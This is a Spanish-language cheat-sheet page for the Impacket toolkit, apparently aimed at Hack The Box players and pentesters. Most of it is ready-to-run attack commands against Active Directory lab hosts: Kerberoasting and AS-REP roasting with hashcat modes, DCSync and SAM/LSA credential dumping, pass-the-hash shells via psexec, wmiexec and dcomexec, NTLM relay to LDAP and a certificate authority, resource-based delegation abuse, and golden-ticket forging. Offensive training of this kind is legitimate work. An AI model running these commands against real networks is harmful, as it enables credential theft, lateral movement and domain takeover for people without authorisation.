Impacket
Impacket implementa SMB, Kerberos, LDAP, MSRPC y MSSQL en Python, y sus ejemplos son el día a día de Active Directory desde Linux. En Kali se instalan como impacket-nombre (impacket-secretsdump); con pip, como nombre.py.
- Plataforma
- Linux (Python)
- Web oficial
- github.com/fortra/impacket
- En HTB
- 35 máquinas
Instalación
pipx install impacket
- T1558.003 Kerberoasting
- T1558.004 AS-REP roasting
- T1003.006 DCSync
- T1003.002 Base de datos SAM
- T1003.003 NTDS
- T1003.004 Secretos LSA
- T1021.002 SMB y recursos administrativos
- T1047 Instrumental de administración de Windows (WMI)
- T1550.002 Pass the hash
- T1550.003 Pass the ticket
- T1557.001 Envenenamiento LLMNR/NBT-NS y relay SMB
- T1558 Robar o forjar tickets de Kerberos
- Kerberoasting
- AS-REP roasting
- DCSync
- Volcado de SAM/LSA/LSASS
- Ejecución remota (WinRM, PsExec, WMI)
- Delegación Kerberos (RBCD)
- Pass-the-hash / ticket
- Captura y relay NTLM
- Abuso de MSSQL
Chuleta de Impacket
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Más ejemplos
Usuarios por SID con la cuenta de invitado
impacket-lookupsid [email protected] -no-pass
Hashes del dominio desde una copia de ntds.dit
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Conectarse a MSSQL con cuenta de Windows
impacket-mssqlclient box.htb/usuario:'Password123!'@10.10.11.20 -windows-auth
Usar un ticket de Kerberos (sin contraseña)
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass box.htb/[email protected]
Pasar un ticket de Rubeus (.kirbi) a Linux
impacket-ticketConverter ticket.kirbi ticket.ccache
En nuestras chuletas
Transferencia de archivos › Windows
Recurso SMB en tu máquina
Atacante
impacket-smbserver share $(pwd) -smb2support
Si Windows bloquea el acceso de invitado
Atacante
impacket-smbserver share $(pwd) -smb2support -username pwn -password pwn
Payloads de inyección SQL › MSSQL
Conectar
Atacante
impacket-mssqlclient usuario:'Password123!'@10.10.11.20 -windows-auth
Escalada en Windows y Active Directory › Windows
Sacar los hashes de SAM
Atacante
impacket-secretsdump -sam sam -system system LOCAL
Pass-the-hash con psexec
Atacante
impacket-psexec [email protected] -hashes :HASH_NT
Escalada en Windows y Active Directory › Active Directory
AS-REP roasting
impacket-GetNPUsers box.htb/ -usersfile usuarios.txt -no-pass -dc-ip 10.10.11.20 -format hashcat
Crackea con hashcat -m 18200.
Kerberoasting
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request
Crackea con hashcat -m 13100.
DCSync
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20 -just-dc-ntlm
Shell como administrador con el hash
impacket-wmiexec box.htb/[email protected] -hashes :HASH_NT
Active Directory a fondo › NTLM relay
Relay a SMB para volcar SAM
Atacante
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
Relay a LDAP para delegación o shadow credentials
Atacante
impacket-ntlmrelayx -t ldaps://dc01.box.htb --delegate-access --no-dump --no-da
Relay a la CA (ESC8) para un cert del equipo
Atacante
impacket-ntlmrelayx -t http://ca.box.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Active Directory a fondo › Delegación
Con Impacket
Atacante
impacket-findDelegation box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
Pedir un ticket de servicio como administrador (S4U2proxy)
Atacante
impacket-getST -spn cifs/dc01.box.htb -impersonate administrator -dc-ip 10.10.11.20 box.htb/usuario:'Password123!'
Crear una cuenta de máquina (si MachineAccountQuota > 0)
Atacante
impacket-addcomputer box.htb/usuario:'Password123!' -computer-name EVIL$ -computer-pass 'Evil123!' -dc-ip 10.10.11.20
Escribir la delegación y pedir el ticket
Atacante
impacket-rbcd box.htb/usuario:'Password123!' -delegate-to 'VICTIMA$' -delegate-from 'EVIL$' -action write -dc-ip 10.10.11.20
impacket-getST -spn cifs/victima.box.htb -impersonate administrator 'EVIL$:Evil123!' -dc-ip 10.10.11.20
Active Directory a fondo › Impacket
TGT (y exportarlo)
Atacante
impacket-getTGT box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
export KRB5CCNAME=$PWD/usuario.ccache
Kerberoasting
Atacante
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -outputfile kerberoast.txt
Crackéalo: hashcat -m 13100 kerberoast.txt rockyou.txt
AS-REP roasting
Atacante
impacket-GetNPUsers box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -format hashcat -outputfile asrep.txt
hashcat -m 18200
psexec (SYSTEM)
Atacante
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20
wmiexec (más sigiloso)
Atacante
impacket-wmiexec box.htb/usuario:'Password123!'@10.10.11.20
con pass-the-hash
Atacante
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
SAM/LSA (admin local)
Atacante
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20
DCSync
Atacante
impacket-secretsdump box.htb/usuario:'Password123!'@dc01.box.htb -just-dc-user Administrator
Golden ticket (con el hash de krbtgt)
Atacante
impacket-ticketer -nthash 64f12cddaa88057e06a81b54e73b949b -domain-sid S-1-5-21-XXXX -domain box.htb administrator
C2 y post-explotación › Movimiento lateral
impacket-psexec
Atacante
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20
PsExec de Sysinternals (desde Windows)
Víctima
PsExec.exe -accepteula \\10.10.11.20 -u box.htb\\usuario -p 'Password123!' cmd
impacket-wmiexec
Atacante
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
impacket-dcomexec (MMC20)
Atacante
impacket-dcomexec -object MMC20 box.htb/usuario:'Password123!'@10.10.11.20
Ningún comando coincide.
Máquinas de HTB donde se usa Impacket
Sacadas de los capítulos de los vídeos de IppSec en los que aparece Impacket. El enlace ▶ salta al minuto de esa parte.
- ▶ Captura y relay NTLM (usuario)
- ▶ Pass-the-hash / ticket (usuario)
- ▶ Volcado de SAM/LSA/LSASS (usuario)
- Cross-Site Scripting (XSS)
- CSRF
- Inyección SQL
- SSRF
- Credenciales guardadas / DPAPI
- ADCS (certificados)
- Captura y relay NTLM
- Pass-the-hash / ticket
- Password spraying y usuarios válidos
- Credenciales en ficheros
- Servicios internos y port forwarding
- Volcado de SAM/LSA/LSASS
- Abuso de ACLs (BloodHound)
- GPP y abuso de GPO
- Cracking de hashes
Guías que usan Impacket
- Movimiento lateral en Windows: pass-the-hash, pass-the-ticket, WinRM, PsExec y WMI 4 min de lectura Usar una contraseña, un hash NT o un ticket de Kerberos para ejecutar comandos en otras máquinas: evil-winrm, psexec, wmiexec, RDP, golden y silver tickets.
- Captura y NTLM relay: Responder, ntlmrelayx y coerción con PetitPotam 5 min de lectura Capturar hashes NetNTLMv2 con Responder, saber cuándo se pueden retransmitir (firma SMB, LDAP, ADCS), usar ntlmrelayx y forzar autenticaciones con PetitPotam.
- Delegación Kerberos: unconstrained, constrained y RBCD explicadas y explotadas 4 min de lectura Los tres tipos de delegación Kerberos en AD, cómo encontrarlos y cómo abusar de cada uno con getST, rbcd.py y addcomputer para suplantar al administrador.
- Volcado de credenciales en Windows: SAM, LSA, LSASS, DPAPI y NTDS.dit 4 min de lectura Dónde guarda Windows las credenciales y cómo sacarlas: SAM y SYSTEM, secretos LSA, LSASS con lsassy o pypykatz, DPAPI y NTDS.dit con SeBackup.
- Abuso de ACLs en Active Directory: GenericAll, WriteDacl, Shadow Credentials y DCSync 4 min de lectura Qué hacer con cada flecha de BloodHound: cambiar contraseñas, añadirte a grupos, Shadow Credentials, darte DCSync con WriteDacl y leer LAPS o gMSA.
- Kerberoasting y AS-REP Roasting: hashes de Active Directory para crackear 3 min de lectura Qué hace vulnerable a una cuenta, cómo pedir los tickets con Impacket, NetExec o Rubeus, cómo crackearlos con hashcat y los errores típicos (reloj, etype, nombres de usuario).
- Pentesting de MSSQL: xp_cmdshell, suplantación, servidores enlazados y robo de hashes 4 min de lectura Atacar SQL Server en un dominio: conectarse con mssqlclient, ejecutar comandos con xp_cmdshell, escalar con EXECUTE AS, servidores enlazados y robo de hashes.
- ADCS con Certipy: de una plantilla de certificado vulnerable a Domain Admin (ESC1 a ESC16) 4 min de lectura Encontrar plantillas y CA vulnerables de ADCS con Certipy y explotar ESC1, ESC4, ESC7, ESC8, ESC9 y ESC16, con el error típico de cada caso.
- LFI: de leer /etc/passwd a ejecutar comandos 4 min de lectura Inclusión local de ficheros paso a paso: path traversal y sus bypasses, wrappers de PHP, qué ficheros leer en Linux y Windows, y las vías para convertir una LFI en RCE.